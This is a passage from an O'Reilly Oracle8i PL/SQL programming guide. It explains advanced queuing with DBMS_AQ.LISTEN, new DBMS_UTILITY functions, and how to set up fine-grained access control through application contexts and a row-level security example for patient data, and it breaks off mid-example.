Let's look at an example. All the members of my family love ice cream and we each have our own favorite flavor. We have installed Oracle8i on our local ice cream truck, along with a cellular modem. Whenever Sally, who drives the truck, is coming into our neighborhood, she will queue up messages indicating the flavors available that day. Every hot summer afternoon, we issue a call to DBMS_AQ.LISTEN and wait to hear who will have first (and hopefully not only) dibs on the ice cream. So let's walk through the code needed to accomplish this task (all to be found in the aqlisten.sql file on the companion disk).

Here is the payload for my queue:

/* Filename on companion disk: aqlisten.sql */
CREATE TYPE ice_cream_t IS OBJECT (
   flavor VARCHAR2(30),
   calories INTEGER);
/

Then I create a package to hold the queue-related data structures and also initialize my queue. The package specification contains a named constant for the queue name and the list of subscribers I will use in my call to DBMS_AQ.LISTEN:

CREATE OR REPLACE PACKAGE aqlisten
IS
   qname CONSTANT CHAR(15) := 'ice_cream_queue';
   tell_us DBMS_AQ.AQ$_AGENT_LIST_T;
END;
/

The package body defines a procedure that I use to define subscribers for my queue and also build the listen list:

PROCEDURE subscribe_me (
   name IN VARCHAR2, flavor IN VARCHAR2)
IS
   tell_me SYS.AQ$_AGENT
       := SYS.AQ$_AGENT (name, qname, NULL);
BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER (
      qname,
      tell_me,
      'TAB.USER_DATA.flavor = ''' || flavor || '''');

   tell_us (NVL(tell_us.LAST,0)+1) := tell_me;
END;

Notice that each subscriber has a rule associated with it: his or her favorite flavor of ice cream. The assignment to the tell_us index-by table always adds to the end of the table.

There is nothing else in the package body but the initialization section. This section contains code that will be executed for each session the first time that session references any element in the package. In the case of aqlisten, there are only two ways to reference it: use aqlisten.qname or the aqlisten.tell_us table. The first step in the initialization is to clean out any old versions of my queue table and queue:

DBMS_AQADM.STOP_QUEUE (qname, TRUE, TRUE, FALSE);
DBMS_AQADM.DROP_QUEUE (qname);
DBMS_AQADM.DROP_QUEUE_TABLE ('ice_cream_qtable');

Then I can create the elements anew, making sure that they are defined as I need them for the example:

DBMS_AQADM.CREATE_QUEUE_TABLE (
   queue_table => 'ice_cream_qtable',
   queue_payload_type => 'ice_cream_t',
   multiple_consumers => TRUE,
   compatible => '8.1');

DBMS_AQADM.CREATE_QUEUE (qname, 'ice_cream_qtable');

DBMS_AQADM.START_QUEUE (qname);

Notice that I specify the ice cream queue table as an 8.1 queue table able to support multiple consumers. Great! Now I can define my subscribers and their favorite flavors and confirm the number of subscribers in my list:

subscribe_me ('Steven', 'ROCKY ROAD');
subscribe_me ('Veva', 'BUTTER PECAN');
subscribe_me ('Chris', 'VANILLA');
subscribe_me ('Eli', 'MINT CHOCOLATE CHIP');

DBMS_OUTPUT.PUT_LINE (tell_us.COUNT || ' subscribers in tell_us.');

Now I am ready to try it out. I create a procedure that allows me to enqueue a particular flavor and then listen for the corresponding agent. I then use DBMS_OUTPUT to confirm the agent by name and queue:

CREATE OR REPLACE PROCEDURE tasty_treat_time (
   flavor IN VARCHAR2)
IS
   tell_me SYS.AQ$_AGENT;
   queueOpts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgProps DBMS_AQ.MESSAGE_PROPERTIES_T;
   mmmmmm ice_cream_t;
   msgid RAW(16);
BEGIN
   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   /* Populate the object. */
   mmmmmm := ice_cream_t (flavor, 10);

   DBMS_AQ.ENQUEUE (
      aqlisten.qname, queueOpts, msgProps, mmmmmm, msgid);

   DBMS_AQ.LISTEN (aqlisten.tell_us, 0, tell_me);

   DBMS_OUTPUT.PUT_LINE (
      'Message for ' || tell_me.name ||
      ' in queue ' || tell_me.address);
END;
/

When I run this script I see the following output:

BEGIN
   tasty_treat_time ('MINT CHOCOLATE CHIP');
   tasty_treat_time ('VANILLA');
   tasty_treat_time ('STRAWBERRY');
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE (SQLERRM);
END;
/

Message for ELI in queue SCOTT.ICE_CREAM_QUEUE
Message for CHRIS in queue SCOTT.ICE_CREAM_QUEUE
ORA-24033: no recipients for message

TIP: If the address (queue) for an agent is a multiconsumer queue, then you must supply the agent name. If the queue is a single-consumer queue, then you must leave the agent name unspecified or NULL.

Previous: 7.5 LOB Enhancements | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.7 New DBMS_UTILITY Features
7.5 LOB Enhancements | Book Index | 7.7 New DBMS_UTILITY Features
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.7 New DBMS_UTILITY Features

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.7 New DBMS_UTILITY Features

Oracle has added two functions to the DBMS_UTILITY package that allow you to obtain information about the currently connected instance as well as active instances.

7.7.1 CURRENT_INSTANCE: Returning the Instance Number

The CURRENT_INSTANCE function returns the currently connected instance number. Its header is:

FUNCTION DBMS_UTILITY.CURRENT_INSTANCE RETURN NUMBER;

This function returns NULL if the connected instance is unavailable (down).

7.7.2 ACTIVE_INSTANCES: Returning a List of Active Instances

The ACTIVE_INSTANCES procedure returns a list of all of the active instances. Its header is:

PROCEDURE DBMS_UTILITY.ACTIVE_INSTANCES (
   instance_table OUT DBMS_UTILITY.instance_table,
   instance_count OUT NUMBER);

instance_table will contain the returned list, and instance_count is the number of active instances. DBMS_UTILITY.INSTANCE_TABLE is defined as follows:

TYPE DBMS_UTILITY.INSTANCE_RECORD IS RECORD (
    inst_number NUMBER,
    inst_name   VARCHAR2(60));

TYPE DBMS_UTILITY.INSTANCE_TABLE IS
   TABLE OF instance_record INDEX BY BINARY_INTEGER;

This procedure behaves as follows:

  • When no instance is available (or the parallel server is not in use), the list is empty.

  • The instance_count argument contains the number of active instances, or 0 if none are found.

  • The starting index of the instance_table is always 1 and the table is always densely filled. The only defined rows of the table, in other words, are 1 through instance_count.

Previous: 7.6 New DBMS_AQ and DBMS_AQADM Features | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 8. Deploying Fine-Grained Access Control
7.6 New DBMS_AQ and DBMS_AQADM Features | Book Index | 8. Deploying Fine-Grained Access Control
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] Deploying Fine-Grained Access Control

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 7.7 New DBMS_UTILITY Features Chapter 8 Next: 8.2 CREATE CONTEXT: Creating Contexts

8. Deploying Fine-Grained Access Control

Contents:
FGAC Components
CREATE CONTEXT: Creating Contexts
SET_CONTEXT: Setting Context and Attribute Values
SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
A Complete FGAC Example

Fine-grained access control (FGAC) is a new feature in Oracle8i that allows you to implement security policies with functions and then use those security policies to implement row-level security on tables and views. The database server automatically enforces these security policies, no matter how the data is accessed -- through SQL*Plus or the Internet, as an ad hoc query, or as an update processed through an Oracle Forms application.

What, you might ask, is a security policy ? Consider the following very simple scenario (I'll expand upon this scenario in the full example at the end of this chapter). Suppose that I have tables of hospital patients and their doctors defined as follows:

CREATE TABLE patient (
   patient_id NUMBER,
   name VARCHAR2(100),
   dob DATE,
   doctor_id INTEGER
   );

CREATE TABLE doctor (
   doctor_id NUMBER,
   name VARCHAR2(100)
   );

Now suppose that I want to let a doctor see only her own patients when she issues a query against the table. More than that, I don't want to let a doctor modify patient records unless those records belong to that doctor's patients.

You could achieve much of what is needed through the creation of a set of views, and many organizations have been doing just that for years. The view-based approach can become quite complex, especially if you want to make it foolproof. Wouldn't it be so much more elegant if you could just let any doctor connect to her schema in Oracle, issue the following query:

SELECT * FROM patient;

and then make certain that the doctor sees information only about her patients? With this approach, you embed all the rules needed to enforce the appropriate privacy and security rules into the database itself as a security policy so that it is transparent to users of the data structures. Oracle uses that policy to modify the WHERE clause of any SQL statement executed against the table,thereby restricting access to data. This process is illustrated in Figure 8.1.

Figure 8.1: Automatic application of a security policy (WHERE clause predicate)

With Oracle8i 's fine-grained access control, you can apply different policies to SELECT, INSERT, UPDATE, and DELETE operations and use security policies only where you need them (for example, on salary information). You can also design and enforce more than one policy for a table, and can even construct layers of policies (one policy building on top of an existing policy) to handle complex situations.

8.1 FGAC Components

To take advantage of FGAC, you have to use programs and functionality from a wide variety of sources within Oracle, including the following:

CREATE CONTEXT DDL statement

Allows you to define a system or application context by name, and associate that context with a PL/SQL package. A context is a named set of attribute/value pairs that are global to your session.

DBMS_SESSION.SET_CONTEXT procedure

Allows you to set the value for a specific attribute in a particular context.

SYS_CONTEXT function

Returns the value of a specific attribute of a context. These attributes can be system values, such as the schema name, or they can be application-specific elements that you define.

DBMS_SESSION.LIST_CONTEXT procedure

Returns the value of all attributes and values defined across all contexts in the current session.

DBMS_RLS package

A variety of programs you can use to define security policies and to associate those policies with specific PL/SQL functions that will generate WHERE clause predicates for use in fine-grained access queries. See Chapter 7, New and Enhanced Built-in Packages in Oracle8i.

TIP: The default database installation does not grant the EXECUTE privilege on the DBMS_RLS package to PUBLIC. Access is granted only to EXECUTE_CATALOG_ROLE, so schemas calling the package must have that role assigned to them.

Oracle discusses each of these topics in a different area of its documentation, making it difficult to pull them all together into a sensible, easy-to-deploy feature. This chapter takes a different approach. I will explain each area of functionality and the standalone steps needed to use them, but then immediately move to an extended example that will show you exactly how to implement FGAC in your own environment.

Previous: 7.7 New DBMS_UTILITY Features | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 8.2 CREATE CONTEXT: Creating Contexts
7.7 New DBMS_UTILITY Features | Book Index | 8.2 CREATE CONTEXT: Creating Contexts
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.2 CREATE CONTEXT: Creating Contexts

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

8.2 CREATE CONTEXT: Creating Contexts

Application contexts facilitate the implementation of fine-grained access control. They allow you to implement security policies with functions and then associate those security policies with applications. Each application can have its own application-specific context. Users are not allowed to arbitrarily change their context (for example, through SQL*Plus).

A context is a named set of attribute/value pairs associated with a PL/SQL package. A context is attached to, and is global within, a session. Your application can use a context to set values that are then accessed from within your code and, specifically, from within code that is used to generate WHERE clause predicates for fine-grained access control.

Suppose you are building a human resources application. You might create a context called HRINFO and define the following attributes for that context:

position
organizational_unit
country

You can then set values for each of these attributes from within your PL/SQL programs.

Oracle provides a Data Definition Language (DDL) statement to create the context used to validate and secure an application. The format of this statement is as follows:

CREATE [OR REPLACE] CONTEXT namespace USING [schema.]plsql_package;

You may deduce from this statement that a context has two attributes. Parameters are summarized in Table 8.1.

Table 8.1: CREATE_CONTEXT Parameters
Parameter | Description
namespace | The name of the context. Context namespaces are always stored in the schema SYS.
schema | Name of the schema owning the PL/SQL package. If this name is not included, Oracle uses the currently connected schema.
plsql_package | A package that can be used to set or modify the attributes of the associated context.

To create a context namespace, you must have the CREATE ANY CONTEXT system privilege. Here is the format for this grant:

GRANT CREATE ANY CONTEXT TO schema_name;

TIP: To make it easier for you to construct contexts and the code to support them, Oracle does not verify the existence of the schema or the validity of the package at the time you create the context.

By the way, you do not have to use contexts only with the FGAC feature; they can be used simply to give you a more general and flexible way of setting and obtaining attributes for a session. I'll explore that capability in the later section, Section 8.4, "SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information."

Previous: 8.1 FGAC Components | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 8.3 SET_CONTEXT: Setting Context and Attribute Values
8.1 FGAC Components | Book Index | 8.3 SET_CONTEXT: Setting Context and Attribute Values
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.3 SET_CONTEXT: Setting Context and Attribute Values

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

8.3 SET_CONTEXT: Setting Context and Attribute Values

The DBMS_SESSION built-in package has been enhanced with the SET_CONTEXT procedure so that you can set the value for an attribute within a context. Here is the header for that procedure:

PROCEDURE DBMS_SESSION.SET_CONTEXT (
   namespace VARCHAR2,
   attribute VARCHAR2,
   value VARCHAR2);

The parameters are listed in Table 8.2.

Table 8.2: SET_CONTEXT Parameters
Parameter | Description
namespace | The name of the context
attribute | The attribute name
value | The value to be assigned to that attribute in the current session

This procedure can only be called inside the package specified for the namespace context in the CREATE CONTEXT statement. This relationship is shown in the following steps:

/* Filename on companion disk: earth.pkg */
    CREATE CONTEXT pollution_indicators USING earth_pkg;

CREATE OR REPLACE PACKAGE earth_pkg
IS
   PROCEDURE set_contexts;
END;
/
CREATE OR REPLACE PACKAGE BODY earth_pkg
IS
   c_context CONSTANT VARCHAR2(30) :=
      'pollution_indicators';

   PROCEDURE set_contexts IS
   BEGIN
      DBMS_SESSION.SET_CONTEXT (
         c_context, 'acidrain', 'corrosive');
      DBMS_SESSION.SET_CONTEXT (
         c_context, 'smog', 'dense');
   END;
END;
/

If you try to execute DBMS_SESSION.SET_CONTEXT "out of context," you will get an error, as shown here:

SQL> BEGIN
  2     DBMS_SESSION.SET_CONTEXT (
  3        'pollution_indicators', 'smog', 'dense');
  4  END;
  5  /
BEGIN
*
ERROR at line 1:
ORA-01031: insufficient privileges

Previous: 8.2 CREATE CONTEXT: Creating Contexts | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
8.2 CREATE CONTEXT: Creating Contexts | Book Index | 8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

8.4 SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information

You can obtain the value of a context's attribute in one of two ways:

SYS_CONTEXT

A top-level PL/SQL function that returns the value of a specified attribute

DBMS_SESSION.LIST_CONTEXT

A procedure that returns all of the attributes and values defined across all contexts in the current session

8.4.1 The SYS_CONTEXT Function

The header for the SYS_CONTEXT function is:

FUNCTION SYS_CONTEXT (
   namespace VARCHAR2,
   attribute VARCHAR2)
RETURN VARCHAR2;

It returns the value associated with attribute as defined in the specified context namespace.

In addition to your own application context information, you can retrieve information about your current connection by calling SYS_CONTEXT as follows:

SYS_CONTEXT ('USERENV', attribute)

where attribute can be any of the values listed in Table 8.3.

Table 8.3: SYS_CONTEXT Attributes
Attribute | Description
`CURRENT_SCHEMA' | Returns the current schema name, which may be changed with an ALTER SESSION SET SCHEMA statement
`CURRENT_SCHEMAID' | Returns the current schema ID
`CURRENT_USER' | Returns the current session username, which may be different from SESSION_USER from within a stored procedure (such as an invoker rights procedure)
`CURRENT_USERID' | Returns the current session user ID
`IP_ADDRESS' | Returns the IP address of the client only if the client is connected to Oracle using Net8 with the TCP protocol
`NLS_CALENDAR' | Returns the NLS calendar used for dates
`NLS_CURRENCY' | Returns the currency symbol
`NLS_DATE_FORMAT' | Returns the current date format
`NLS_DATE_LANGUAGE' | Returns the language used for days of the week, months, and so forth, in dates
`NLS_SORT' | Indicates whether the sort base is binary or linguistic
`NLS_TERRITORY' | Returns the territory
`SESSION_USER' | Returns the name of the user who logged on
`SESSION_USERID | Returns the logged-on user ID

Use the following script to examine each of these values:

/* Filename on companion disk: showucntxt.sql */
DECLARE
   PROCEDURE showenv (str IN VARCHAR2) IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE (
         str || '=' || SYS_CONTEXT ('USERENV', str));
   END;
BEGIN
   showenv ('NLS_CURRENCY');
   showenv ('NLS_CALENDAR');
   showenv ('NLS_DATE_FORMAT');
   showenv ('NLS_DATE_LANGUAGE');
   showenv ('NLS_SORT');
   showenv ('SESSION_USER');
   showenv ('CURRENT_USER');
   showenv ('CURRENT_SCHEMA');
   showenv ('CURRENT_SCHEMAID');
   showenv ('SESSION_USERID');
   showenv ('CURRENT_USERID');
   showenv ('IP_ADDRESS');
END;
/

8.4.2 LIST_CONTEXT: Obtaining the List of Defined Context Attributes

The DBMS_SESSION built-in package provides a procedure that retrieves the list of defined attributes and values for all contexts in your session. Here is the header of that procedure:

PROCEDURE DBMS_SESSION.LIST_CONTEXT (
   list OUT DBMS_SESSION.AppCtxTabTyp,
   lsize OUT number);

where lsize is the number of elements in list, and list is an index-by table of records. Each record has this format:

TYPE DBMS_SESSSION.AppCtxRecTyp IS RECORD (
   namespace VARCHAR2(30),
   attribute VARCHAR2(30),
   value VARCHAR2(4000));

where namespace and attribute have the meanings described for SYS_CONTEXT.

Here is a program that utilizes this procedure to retrieve and display all defined context attributes:

/* Filename on companion disk: showcntxt.sp */
CREATE OR REPLACE PROCEDURE show_context_info
IS
   context_info DBMS_SESSION.AppCtxTabTyp;
   info_count PLS_INTEGER;
   indx PLS_INTEGER;
BEGIN
   DBMS_SESSION.LIST_CONTEXT (
      context_info,
      info_count);
   indx := context_info.FIRST;
   LOOP
      EXIT WHEN indx IS NULL;
      DBMS_OUTPUT.PUT_LINE (
         context_info(indx).namespace || '.' ||
         context_info(indx).attribute || ' = ' ||
         context_info(indx).value);
      indx := context_info.NEXT (indx);
   END LOOP;
END;
/

Here is a script and output that demonstrates the use of this procedure (building upon contexts and packages defined by first running the earth.pkg and prison.pkg scripts):

/* Filename on companion disk: showcntxt.tst */
BEGIN
   /* Set context information.*/
   earth_pkg.set_contexts;
   prison_pkg.set_contexts;
   show_context_info;
END;
/

INCARCERATION_FACTORS.CLASS = poor
POLLUTION_INDICATORS.SMOG = dense
INCARCERATION_FACTORS.EDUCATION = minimal
POLLUTION_INDICATORS.ACIDRAIN = corrosive

8.4.3 Context Data Dictionary Views

Oracle provides the data dictionary views listed in Table 8.4, which you can query to obtain information about policies defined in or accessible to your schema.

Table 8.4: Data Dictionary Views
View | Description
USER_POLICIES | All policies owned by the current schema.
ALL_POLICIES | All policies owned or accessible by the current schema.
DBA_POLICIES | All policies regardless of whether they are defined in or accessible in the current schema. Special privileges are required to access this view.
ALL_CONTEXT | All active context namespaces defined in the session. This view is based on the v$context virtual table.
DBA_CONTEXT | All context namespace information (active and inactive). Special privileges are required to access this view.

The columns for the *_POLICIES views are described in Table 8.5. These values are set through calls to the DBMS_RLS programs ADD_POLICY and ENABLE_POLICY, described in Chapter 7.

Table 8.5: Columns of the *_POLICIES Data Dictionary Views
Column Name | Datatype | Description
OBJECT_OWNER | VARCHAR2(30) | Owner of the object for which the policy is defined; only present in ALL_POLICIES and DBA_POLICIES.
OBJECT_NAME | VARCHAR2(30) | Name of the object for which the policy is defined.
POLICY_NAME | VARCHAR2(30) | Name of the policy.
PF_OWNER | VARCHAR2(30) | Owner of the packaged function.
PACKAGE | VARCHAR2(30) | Name of the package that contains the function.
FUNCTION | VARCHAR2(30) | Name of the function used to generate dynamic predicate.
SEL | VARCHAR2(3) | `YES' or `NO' -- Is this policy applied to SELECT statements?
INS | VARCHAR2(3) | `YES' or `NO' -- Is this policy applied to INSERT statements?
UPD | VARCHAR2(3) | `YES' or `NO' -- Is this policy applied to UPDATE statements?
DEL | VARCHAR2(3) | `YES' or `NO' -- Is this policy applied to DELETE statements?
CHK_OPTION | VARCHAR2(3) | `YES' or `NO' -- Is check option enforced for this policy?
ENABLE | VARCHAR2(3) | 'YES' or `NO' -- Is the policy checked against the value after insert or update?

The columns for the *_CONTEXT views are described in Table 8.6.

Table 8.6: Columns of the *_CONTEXT Data Dictionary Views
Column Name | Datatype | Description
NAMESPACE | VARCHAR2(30) | Name of the namespace or context
SCHEMA | VARCHAR2(30) | The schema that owns the namepace
PACKAGE | VARCHAR2(30) | The package associated with the namespace

You can, of course, write queries and stored programs to access this information. Here is a procedure that you can use to drop one or all of your policies:

/* Filename on companion disk: droppol.sp */
CREATE OR REPLACE PROCEDURE drop_policies (
   objname IN VARCHAR2,
   polname IN VARCHAR2 := '%',
   objschema IN VARCHAR2 := NULL)
   AUTHID CURRENT_USER
IS
BEGIN
   FOR rec IN (
      SELECT object_owner,
             object_name,
             policy_name
        FROM ALL_POLICIES
       WHERE object_owner LIKE NVL (objschema, USER)
         AND object_name LIKE objname
         AND policy_name LIKE polname)
   LOOP
      DBMS_RLS.DROP_POLICY (
         rec.object_owner, rec.object_name, rec.policy_name);
   END LOOP;
END;
/

Notice that I use AUTHID CURRENT_USER to make sure that the procedure will only drop policies for the tables and views for which the CURRENT_USER has the right access privileges, regardless of who owns the procedure itself. The WHERE clause will further limit the policies to those created for the objects owned by the CURRENT_USER.

You can also use the DDL statement DROP CONTEXT to drop a context or policy directly within a SQL execution environment (or via dynamic SQL).

Previous: 8.3 SET_CONTEXT: Setting Context and Attribute Values | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 8.5 A Complete FGAC Example
8.3 SET_CONTEXT: Setting Context and Attribute Values | Book Index | 8.5 A Complete FGAC Example
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.5 A Complete FGAC Example

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

8.5 A Complete FGAC Example

To illustrate the steps you would follow to take advantage of fine-grained access control, I am going to share with you one of my dearest dreams. The year is 2010. A massive, popular uprising has forced the establishment of a national health care system. No more for-profit hospitals pulling billions of dollars out of the system; no more private insurance companies soaking up 30 cents on the dollar; all children are vaccinated; all pregnant women receive excellent prenatal care.

Of course, we need an excellent database to back up this system. Here are four of the many tables in that database (see fgac.sql on the companion disk for all the DDL statements and subsequent commands in this example section):

/* Filename on companion disk: fgac.sql */
CREATE TABLE patient  (
   patient_id NUMBER,
   schema_name VARCHAR2(30),
   last_name VARCHAR2(100),
   first_name VARCHAR2(100),
   dob DATE,
   home_clinic_id INTEGER,
   state CHAR(2)
   );

CREATE TABLE clinic (
   clinic_id INTEGER,
   name VARCHAR2(100),
   state CHAR(2)
  );

CREATE TABLE doctor (
   doctor_id NUMBER,
   schema_name VARCHAR2(30),
   last_name VARCHAR2(100),
   first_name VARCHAR2(100),
   home_clinic_id INTEGER
   );

CREATE TABLE regulator (
   regulator_id NUMBER,
   schema_name VARCHAR2(30),
   last_name VARCHAR2(100),
   first_name VARCHAR2(100),
   state CHAR(2)
   );

We also insist on privacy. So here are the following rules that I am going to enforce with FGAC:

  • Doctors can see only those patients who are assigned to their clinic.

  • Regulators can see only those patients who reside in the same state.

  • Patients can see only information about themselves.

Sure, I can create views to build in some or all of these types of security rules. But I will instead use FGAC to accomplish the same objective at a more fundamental and comprehensive level. For example, with FGAC in place, any doctor can issue this query:

SELECT * FROM patient;

and only see her patients at the clinic. Regulators (whose job it is to make sure that patients receive top-notch care) can see all of (and only) their clients with the same query:

 SELECT * FROM patient;

And if a patient issues an unqualified query against the patient table, she will see only her row. "Same" query, different results, processed transparently with FGAC.

Here are the steps I will take to get this job done:

  1. Create all of the data structures and data in a central schema (SCOTT in the demonstration).

  2. Create separate schemas for each of the doctors, regulators, and patients.

  3. Create an application context for SCOTT that associates the named context with a package. This package will contain all the logic rules I need to enforce patient privacy.

  4. Create the package, which will be called nhc_pkg (National Health Care package). Make it publicly available (owned by SCOTT). The package allows me to define a predicate for the patient table, but also to set and verify the context information for any schema.

  5. Define an FGAC policy through DBMS_RLS that associates the patient table with the predicate-generating function.

  6. Create a database trigger on the system LOGON event so that every time a user connects to the database, her context will be set, guaranteeing privacy.

Once all these pieces are in place, I can test my newly secured environment. All of these steps are contained in the fgac.sql script. In the following sections, I'll focus on the context-specific elements (as opposed to the CREATE TABLE statements and so on).

8.5.1 Creating the Security Package

I decided to create one package that would contain all of the programs I need to set and manage my context attributes and generate the security predicates. Here is the National Health Care package specification:

/* Filename on companion disk: fgac.sql */
CREATE OR REPLACE PACKAGE nhc_pkg
IS
   c_context CONSTANT VARCHAR2(30) := 'patient_restriction';
   c_person_type_attr CONSTANT VARCHAR2(30) := 'person_type';
   c_person_id_attr CONSTANT VARCHAR2(30) := 'person_id';
   c_patient CONSTANT CHAR(7) := 'PATIENT';
   c_doctor CONSTANT CHAR(6) := 'DOCTOR';
   c_regulator CONSTANT CHAR(9) := 'REGULATOR';

   PROCEDURE show_context;

   PROCEDURE set_context;

   FUNCTION person_predicate (
      schema_in VARCHAR2,
      name_in VARCHAR2)
   RETURN VARCHAR2;
END nhc_pkg;
/

The show_context procedure comes in handy when I want to verify the context information in a session. Here is the body of this program:

PROCEDURE show_context
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE ('Type: ' ||
      SYS_CONTEXT (c_context, c_person_type_attr));
   DBMS_OUTPUT.PUT_LINE ('  ID: ' ||
      SYS_CONTEXT (c_context, c_person_id_attr));
   DBMS_OUTPUT.PUT_LINE ('Predicate: ' ||
      person_predicate (USER, 'PATIENT'));
END;

Here is the output from this procedure when run, for example, from the schema of Sandra Wallace, a doctor (see the fgac.sql INSERT statements to verify this data):

Type: DOCTOR
  ID: 1060
Predicate:
home_clinic_id IN
   (SELECT home_clinic_id FROM doctor
     WHERE doctor_id = SYS_CONTEXT (
       'patient_restriction', 'person_id'))

8.5.2 Setting the Context for the Schema

The nhc_pkg.set_context procedure sets the context based on the type of person the current schema represents: patient, doctor, or regulator (you can only be one in my simplified system). I set up two explicit cursors:

PROCEDURE set_context
IS
   CURSOR doc_cur IS
      SELECT doctor_id FROM doctor
       WHERE schema_name = USER;

   CURSOR reg_cur IS
      SELECT regulator_id FROM regulator
       WHERE schema_name = USER;

   l_person_type VARCHAR2(10) := c_patient;
   l_person_id INTEGER;

along with a local module to set the context of both of my attributes:

   PROCEDURE set_both (
      persType IN VARCHAR2, persID IN VARCHAR2)
   IS BEGIN
      DBMS_SESSION.SET_CONTEXT (
         c_context, c_person_type_attr, persType);
      DBMS_SESSION.SET_CONTEXT (
         c_context, c_person_id_attr, persID);
   END;

The executable section then sets the attributes for a doctor, regulator, or patient, depending on the schema name:

BEGIN
   OPEN doc_cur; FETCH doc_cur INTO l_person_id;
   IF doc_cur%FOUND
   THEN
      l_person_type := c_doctor;
   ELSE
      OPEN reg_cur; FETCH reg_cur INTO l_person_id;
      IF reg_cur%FOUND
      THEN
         l_person_type := c_regulator;
      END IF;
      CLOSE reg_cur;
   END IF;
   set_both (l_person_type, l_person_id);
   CLOSE doc_cur;
END;

8.5.3 Defining the Predicate

The main purpose of the National Health Care package is to generate the predicate that will be attached to any query against the patient table. This action is performed by the person_predicate function:

FUNCTION person_predicate (
   schema_in VARCHAR2,
   name_in VARCHAR2)
   RETURN VARCHAR2

As you will see later in this function's implementation, the schema_in and name_in parameters are not used at all. I still must include these parameters in the parameter list if it is to be callable by the FGAC mechanism. Now, in the declaration section, I obtain the value for the person type attribute (doctor, regulator, or patient):

IS
    l_context VARCHAR2(100) :=
        SYS_CONTEXT (c_context, c_person_type_attr);
    retval VARCHAR2(2000);

This value is set by a call to nhc_pkg.set_context that is made whenever a person connects to the database instance (explained in the next section). Once I have this value, I can create the appropriate predicate. For a doctor, I use the following:

BEGIN
   IF l_context = 'DOCTOR'
   THEN
      retval :=
         'home_clinic_id IN
            (SELECT home_clinic_id FROM doctor
              WHERE doctor_id = SYS_CONTEXT (''' ||
                 c_context || ''', ''' || c_person_id_attr || '''))';

In other words, the doctor can only see patients whose clinic ID matches that of the doctor. Notice I call SYS_CONTEXT directly within the predicate (at runtime, not during the execution of this function) to obtain the doctor's ID number. I construct a very similar predicate for a regulator:

   ELSIF l_context = 'REGULATOR'
   THEN
      retval :=
         'state IN
            (SELECT state FROM regulator
              WHERE regulator_id = SYS_CONTEXT (''' ||
                 c_context || ''', ''' || c_person_id_attr || '''))';

If the user is a patient, then the predicate is much simpler: she can only see information about herself, so I force a match on the schema_name column:

   ELSIF l_context = 'PATIENT'
   THEN
      retval := 'schema_name = ''' || USER || '''';

Finally, if the person type attribute is not set to one of the values just discussed, I've identified someone outside of the health care system entirely, so I refuse access to any patient information:

   ELSE
      /* Refuse any access to information. */
      retval := 'person_id IS NULL';
   END IF;

and then return the predicate:

   RETURN retval;
END person_predicate;

8.5.4 Defining the Policy

I still need to register the security policy (that is, the predicate to be attached to the patient table). To do this, I call DBMS_RLS.ADD_POLICY as follows:

BEGIN
